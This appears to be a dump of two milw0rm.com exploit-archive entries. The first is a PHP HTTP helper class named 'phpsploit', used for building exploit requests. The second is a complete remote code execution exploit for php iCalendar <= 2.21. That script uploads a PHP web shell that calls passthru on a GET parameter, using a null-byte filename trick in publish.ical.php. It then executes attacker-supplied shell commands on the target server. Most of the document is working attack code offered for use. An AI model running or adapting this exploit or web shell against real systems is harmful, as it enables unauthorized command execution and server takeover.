 * CHANGELOG:
 * [2007-01-24] (1.2)
 *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
 *  * New: multipart/form-data enctype is now supported 
 *
 * [2006-12-31] (1.1)
 *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
 *  * New: You can now call the getheader() / getcontent() function without parameters
 *
 * [2006-12-30] (1.0)
 *  * First version
 * 
 */

class phpsploit {

	/**
	 * This function is called by the get()/post() functions.
	 * You don't have to call it, this is the main function.
	 *
	 * @return $server_response
	 */
	private function sock()
	{
		if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
		else $socket = fsockopen($this->host,$this->port);
		
		if(!$socket) die("Error: The host doesn't exist");
		
		if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
		elseif($this->method==="post" or $this->method==="formdata") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
		else die("Error: Invalid method");
		
		if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
		$this->packet .= "Host: ".$this->host."\r\n";
		
		if(!empty($this->agent))  $this->packet .= "User-Agent: ".$this->agent."\r\n";
		if(!empty($this->header)) $this->packet .= $this->header."\r\n";
		if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";
		
		$this->packet .= "Connection: Close\r\n";
		if($this->method==="post")
		{
			$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
			$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
			$this->packet .= $this->data."\r\n";
		}
		elseif($this->method==="formdata")
		{
			$this->packet .= "Content-Type: multipart/form-data; boundary=---------------------------".$this->boundary."\r\n";
			$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
			$this->packet .= $this->data;
		}
		$this->packet .= "\r\n";
		$this->recv = '';
		
		fputs($socket,$this->packet);
		while(!feof($socket)) $this->recv .= fgets($socket);
		fclose($socket);
		
		if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
		if($this->allowredirection) return $this->allowredirection($this->recv);
		else return $this->recv;
	}
	

	/**
	 * This function allows you to add several cookie in the
	 * request. Several methods are supported:
	 * 
	 * $this->addcookie("name","value");
	 * or
	 * $this->addcookie("name=newvalue");
	 * or
	 * $this->addcookie("othername=overvalue; xx=zz; y=u");
	 * 
	 * @param string $cookiename
	 * @param string $cookievalue
	 * 
	 */
	public function addcookie($cookn,$cookv='')
	{
		// $this->addcookie("name","value"); work avec replace
		if(!empty($cookv))
		{
			if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
			if(!empty($this->cookie))
			{
			    if(preg_match("/$cookn=/",$this->cookie))
			    {
			    	$this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
			    }
			    else
			    {
			    	$this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
			    }
			}
			else
			{
				$this->cookie = $cookn."=".$cookv.";";
			}
		}
		// $this->addcookie("name=value; othername=othervalue");
		else
		{
	    	 if(!empty($this->cookie))
	    	 {
	    	 	$cookn = preg_replace("/(.*);$/","$1",$cookn);
	    	 	$cookarr = explode(";",str_replace(" ", "",$cookn));
	    	 	for($i=0;$i<count($cookarr);$i++)
	    	 	{
	    	 		preg_match("/(\S*)=(\S*)/",$cookarr[$i],$matches);
	    	 		$cookn = $matches[1];
	    	 		$cookv = $matches[2];
	    	 		$this->addcookie($cookn,$cookv);
	    	 	}
	    	 }
			 else
			 {
			 	$cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
			 	$this->cookie = $cookn;			
			 }
		}
	}
	
	
	/**
	 * This function allows you to add several headers in the
	 * request. Several methods are supported:
	 *
	 * $this->addheader("headername","headervalue");
	 * or
	 * $this->addheader("headername: headervalue");
	 *
	 * @param string $headername
	 * @param string $headervalue
	 */
	public function addheader($headern,$headervalue='')
	{
		// $this->addheader("name","value");
		if(!empty($headervalue))
		{
			if(!empty($this->header))
			{
				if(preg_match("/$headern:/",$this->header))
				{
					$this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
				}
				else
				{
					$this->header .= "\r\n".$headern.": ".$headervalue;
				}
			}
			else
			{
				$this->header=$headern.": ".$headervalue;
			}
		}
		// $this->addheader("name: value");
		else 
		{
			if(!empty($this->header))
			{
				$headarr = explode(": ",$headern);
				$headern = $headarr[0];
				$headerv = $headarr[1];
				$this->addheader($headern,$headerv);
			}
			else
			{
				$this->header=$headern;
			}
		}
	}
	

	/**
	 * This function allows you to use an http proxy server.
	 * Several methods are supported:
	 * 
	 * $this->proxy("proxyip","8118");
	 * or
	 * $this->proxy("proxyip:8118")
	 *
	 * @param string $proxyhost
	 * @param integer $proxyport
	 */
	public function proxy($proxy,$proxyp='')
	{
		// $this->proxy("localhost:8118");
		if(empty($proxyp))
		{
			preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
			$proxh = $proxarr[1];
			$proxp = $proxarr[2];
			$this->proxyhost=$proxh;
			$this->proxyport=$proxp;
		}
		// $this->proxy("localhost",8118);
		else 
		{
			$this->proxyhost=$proxy;
			$this->proxyport=intval($proxyp);
		}
		if($this->proxyport > 65535) die("Error: Invalid port number");
	}
	

	/**
	 * This function allows you to use an http proxy server
	 * which requires a basic authentification. Several
	 * methods are supported:
	 * 
	 * $this->proxyauth("darkfig","dapasswd");
	 * or
	 * $this->proxyauth("darkfig:dapasswd");
	 *
	 * @param string $proxyuser
	 * @param string $proxypass
	 */
	public function proxyauth($proxyauth,$proxypasse='')
	{
		// $this->proxyauth("darkfig:password");
		if(empty($proxypasse))
		{
			preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
			$proxu = $proxautharr[1];
			$proxp = $proxautharr[2];
			$this->proxyuser=$proxu;
			$this->proxypass=$proxp;
		}
		// $this->proxyauth("darkfig","password");
		else
		{
			$this->proxyuser=$proxyauth;
			$this->proxypass=$proxypasse;
		}
	}

	
	/**
	 * This function allows you to set the "User-Agent" header.
	 * Several methods are possible to do that:
	 * 
	 * $this->agent("Mozilla Firefox");
	 * or
	 * $this->addheader("User-Agent: Mozilla Firefox");
	 * or
	 * $this->addheader("User-Agent","Mozilla Firefox");
	 * 
	 * @param string $useragent
	 */
	public function agent($useragent)
	{
		$this->agent=$useragent;
	}

	
	/**
	 * This function returns the header which will be
	 * in the next request.
	 * 
	 * $this->showheader();
	 *
	 * @return $header
	 */
	public function showheader()
	{
		return $this->header;
	}

	
	/**
	 * This function returns the cookie which will be
	 * in the next request.
	 * 
	 * $this->showcookie();
	 *
	 * @return $storedcookies
	 */
	public function showcookie()
	{
		return $this->cookie;
	}

	
	/**
	 * This function returns the last formed
	 * http request (the http packet).
	 * 
	 * $this->showlastrequest();
	 * 
	 * @return $last_http_request
	 */
	public function showlastrequest()
	{
		return $this->packet;
	}
	
	
	/**
	 * This function sends the formed http packet with the
	 * GET method. You can precise the port of the host.
	 * 
	 * $this->get("http://localhost");
	 * $this->get("http://localhost:888/xd/tst.php");
	 * 
	 * @param string $urlwithpath
	 * @return $server_response
	 */
	public function get($url)
	{
		$this->target($url);
		$this->method="get";
		return $this->sock();
	}

	
	/**
	 * This function sends the formed http packet with the
	 * POST method. You can precise the port of the host.
	 * 
	 * $this->post("http://localhost/index.php","admin=1&user=dark");
	 *
	 * @param string $urlwithpath
	 * @param string $postdata
	 * @return $server_response
	 */	
	public function post($url,$data)
	{
		$this->target($url);
		$this->method="post";
		$this->data=$data;
		return $this->sock();
	}
	

	/**
	 * This function sends the formed http packet with the
	 * POST method using the multipart/form-data enctype. 
	 * 
	 * $array = array(
	 *          frmdt_url      => "http://localhost/upload.php",
	 *          frmdt_boundary => "123456",                    # Optional
	 *                 "email" => "me@u.com",
	 *               "varname" => array(
	 *                            frmdt_type => "image/gif",   # Optional
	 *                       frmdt_transfert => "binary",      # Optional
	 *                        frmdt_filename => "hello.php",
	 *                         frmdt_content => "<?php echo ':)'; ?>"));
	 * $this->formdata($array);
	 *
	 * @param array $array
	 * @return $server_response
	 */
	public function formdata($array)
	{
		$this->target($array[frmdt_url]);
		$this->method="formdata";
		$this->data='';
		if(!isset($array[frmdt_boundary])) $this->boundary="phpsploit";
		else $this->boundary=$array[frmdt_boundary];
		foreach($array as $key => $value)
		{
			if(!preg_match("#^frmdt_(boundary|url)#",$key))
			{
				$this->data .= "-----------------------------".$this->boundary."\r\n";
				$this->data .= "Content-Disposition: form-data; name=\"".$key."\";";
				if(!is_array($value))
				{
					$this->data .= "\r\n\r\n".$value."\r\n";
				}
				else
				{
					$this->data .= " filename=\"".$array[$key][frmdt_filename]."\";\r\n";
					if(isset($array[$key][frmdt_type])) $this->data .= "Content-Type: ".$array[$key][frmdt_type]."\r\n";
					if(isset($array[$key][frmdt_transfert])) $this->data .= "Content-Transfer-Encoding: ".$array[$key][frmdt_transfert]."\r\n";
					$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
				}
			}
		}
		$this->data .= "-----------------------------".$this->boundary."--\r\n";
		return $this->sock();
	}

	
	/**
	 * This function returns the content of the server response
	 * without the headers.
	 * 
	 * $this->getcontent($this->get("http://localhost/"));
	 * or
	 * $this->getcontent();
	 *
	 * @param string $server_response
	 * @return $onlythecontent
	 */
	public function getcontent($code='')
	{
		if(empty($code)) $code = $this->recv;
		$content = explode("\n",$code);
		$onlycode = '';
		for($i=1;$i<count($content);$i++)
		{
			if(!preg_match("/^(\S*):/",$content[$i])) $ok = 1;
			if($ok) $onlycode .= $content[$i]."\n";
		}
		return $onlycode;
	}

	
	/**
	 * This function returns the headers of the server response
	 * without the content.
	 * 
	 * $this->getheader($this->post("http://localhost/x.php","x=1&z=2"));
	 * or
	 * $this->getheader();
	 *
	 * @param string $server_response
	 * @return $onlytheheaders
	 */
	public function getheader($code='')
	{
		if(empty($code)) $code = $this->recv;
		$header = explode("\n",$code);
		$onlyheader = $header[0]."\n";
		for($i=1;$i<count($header);$i++)
		{
			if(!preg_match("/^(\S*):/",$header[$i])) break;
			$onlyheader .= $header[$i]."\n";
		}
		return $onlyheader;
	}

	
	/**
	 * This function is called by the cookiejar() function.
	 * It adds the value of the "Set-Cookie" header in the "Cookie"
	 * header for the next request. You don't have to call it.
	 * 
	 * @param string $server_response
	 */
	private function getcookie($code)
	{
		$carr = explode("\n",str_replace("\r\n","\n",$code));
		for($z=0;$z<count($carr);$z++)
		{
			if(preg_match("/set-cookie: (.*)/i",$carr[$z],$cookarr))
			{
				$cookie[] = preg_replace("/expires=(.*)(GMT||UTC)(\S*)$/i","",preg_replace("/path=(.*)/i","",$cookarr[1]));
			}
		}

		for($i=0;$i<count($cookie);$i++)
		{
			preg_match("/(\S*)=(\S*)(|;)/",$cookie[$i],$matches);
	    	        $cookn = $matches[1];
	    	        $cookv = $matches[2];
	    	        $this->addcookie($cookn,$cookv);
		}
    }

	
	/**
	 * This function is called by the get()/post() functions.
	 * You don't have to call it.
	 *
	 * @param string $urltarg
	 */
	private function target($urltarg)
	{
		if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
		$this->url=$urltarg;
		
		$array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
		$this->host=$array[0];

		preg_match("/:(\d+)\//",$urltarg,$matches);
		$this->port=empty($matches[1]) ? 80 : $matches[1];
		
		$temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
		preg_match("/\/(.*)\//",$temp,$matches);
		$this->path=str_replace("//","/","/".$matches[1]."/");
	
		if($this->port > 65535) die("Error: Invalid port number");
	}
	
	
	/**
	 * If you call this function, the script will
	 * extract all "Set-Cookie" headers values
	 * and it will automatically add them into the "Cookie" header
	 * for all next requests.
	 *
	 * $this->cookiejar(1); // enabled
	 * $this->cookiejar(0); // disabled
	 * 
	 */
	public function cookiejar($code)
	{
		if($code===0) $this->cookiejar='';
		if($code===1) $this->cookiejar=1;
		else
		{
			$this->getcookie($code);
		}
	}


	/**
	 * If you call this function, the script will
	 * follow all redirections sent by the server.
	 * 
	 * $this->allowredirection(1); // enabled
	 * $this->allowredirection(0); // disabled
	 * 
	 * @return $this->get($locationresponse)
	 */
	public function allowredirection($code)
	{
		if($code===0) $this->allowredirection='';
		if($code===1) $this->allowredirection=1;
		else
		{
			if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
			{
				$location = str_replace(chr(13),'',$codearr[2]);
				if(!eregi("://",$location))
				{
					return $this->get("http://".$this->host.$this->path.$location);
				}
				else
				{
					return $this->get($location);
				}
			}
			else
			{
				return $code;
			}
		}
	}
	
	
	/**
	 * This function allows you to reset some parameters:
	 * 
	 * $this->reset(header); // headers cleaned
	 * $this->reset(cookie); // cookies cleaned
	 * $this->reset();       // clean all parameters
	 *
	 * @param string $func
	 */
	public function reset($func='')
	{
		switch($func)
		{
			case "header":
			$this->header='';
			break;
			
			case "cookie":
			$this->cookie='';
			break;
			
			default:
		        $this->cookiejar='';
		        $this->header='';
		        $this->cookie='';
		        $this->allowredirection=''; 
		        $this->agent='';
		        break;
		}
	}
}

?>

# milw0rm.com [2007-01-25]


rgod/php iCalendar <= 2.21 (publish.ical.php) Remote Code Execution Exploit ( php)

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "php iCalendar <=2.21 publish.ical.php remote cmmnds xctn\r\n";
echo "by rgod rgod<AT>autistici<DOT>org\r\n";
echo "site: http://retrogod.altervista.org\r\n";
echo "this works if \"phpicalendar_publishing\" is set to 1 in config.inc.php\r\n\r\n";

# short explaination: phpICal lets users upload/delete files in WebDAV style
# through PUT / DELETE method; calendars/ folder by default is not protected
# by any authentication measure. Uploaded files have .ics extension but with
# a trick you can break filename through a null char to have a php file
# (this works always beacuse magic_quotes_gpc does not work with
# HTTP_RAW_POST data)

if ($argc<3) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to phpICal\r\n";
echo "\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpical/ ls -la\r\n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="X-WR-CALNAME:suntzu.php".CHR(0x00)."F@kech4rs\n"; //one shot, kill fopen() & trim() php funcs
$data.='
<?php
if (get_magic_quotes_gpc())
{$_GET[cmd]=stripslashes($_GET[cmd]);}
ini_set("max_execution_time",0);
echo "Hi Master!";
echo 666;
passthru($_GET[cmd]);
echo 666;
?>
';
$packet ="PUT ".$p."calendars/publish.ical.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
#debug, shows packets in a nice format
#echo quick_dump($packet);
sendpacketii($packet);

sleep(1);

$packet="GET ".$p."calendars/suntzu.php?cmd=".$cmd." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"666")) {
echo "Exploit succeeded...\r\n";
$temp=explode("666",$html);
echo $temp[1];}
else {echo "Exploit failed...";}
?>

# milw0rm.com [2006-03-15]